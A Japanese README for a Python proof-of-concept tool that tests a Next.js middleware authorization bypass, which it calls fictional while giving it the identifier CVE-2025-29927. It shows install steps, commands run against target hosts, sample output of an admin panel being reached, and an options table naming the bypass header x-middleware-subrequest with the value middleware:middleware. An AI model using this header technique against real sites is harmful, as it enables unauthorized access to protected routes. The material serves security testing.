
> 🔓 架空のNext.jsミドルウェアバイパス(CVE-2025-29927)の概念実証 — 保護されたルートをテストするためのサブリクエストを作成します。
これは、架空のNext.jsミドルウェアバイパスの脆弱性(CVE-2025-29927)に対する概念実証です。教育目的および許可されたセキュリティ研究にのみ使用してください。
| 機能 | 説明 |
|---|---|
| ✨ カラー&詳細表示 | 色分けされた出力;詳細なデバッグログは -v を使用。 |
| 📦 OOP構造 | クラスベース設計で明瞭かつ保守性向上。 |
| 🌐 プロキシサポート | --proxy でHTTP(S)プロキシ経由のトラフィックルーティング。 |
| 🍪 セッション処理 | Cookieと接続再利用のための永続的な requests.Session。 |
| 🚦 リダイレクト制御 | デフォルトでリダイレクトを追跡せず、通過/失敗を明確に検出。 |
| 🛠 カスタムヘッダー | User-Agent、x-middleware-subrequest の上書き、またはヘッダーの追加。 |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
必要要件 Python 3.7+
python poc.py [options] <host>[:port]
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
成功
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
失敗
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
| オプション | 説明 |
|---|
-p, --path PATH | 保護ルートパス (デフォルト: /admin) |
-s, --scheme {http,https} | プロトコル (デフォルト: http) |
--header HEADER | x-middleware-subrequest ヘッダー値 (デフォルト: middleware:middleware) |
-ua, --user-agent AGENT | カスタム User-Agent (デフォルト: Mozilla/5.0) |
--proxy PROXY | HTTP(S) プロキシURL (例: http://127.0.0.1:8080) |
-v, --verbose | デバッグ出力を有効化 |
-h, --help | このヘルプメッセージを表示 |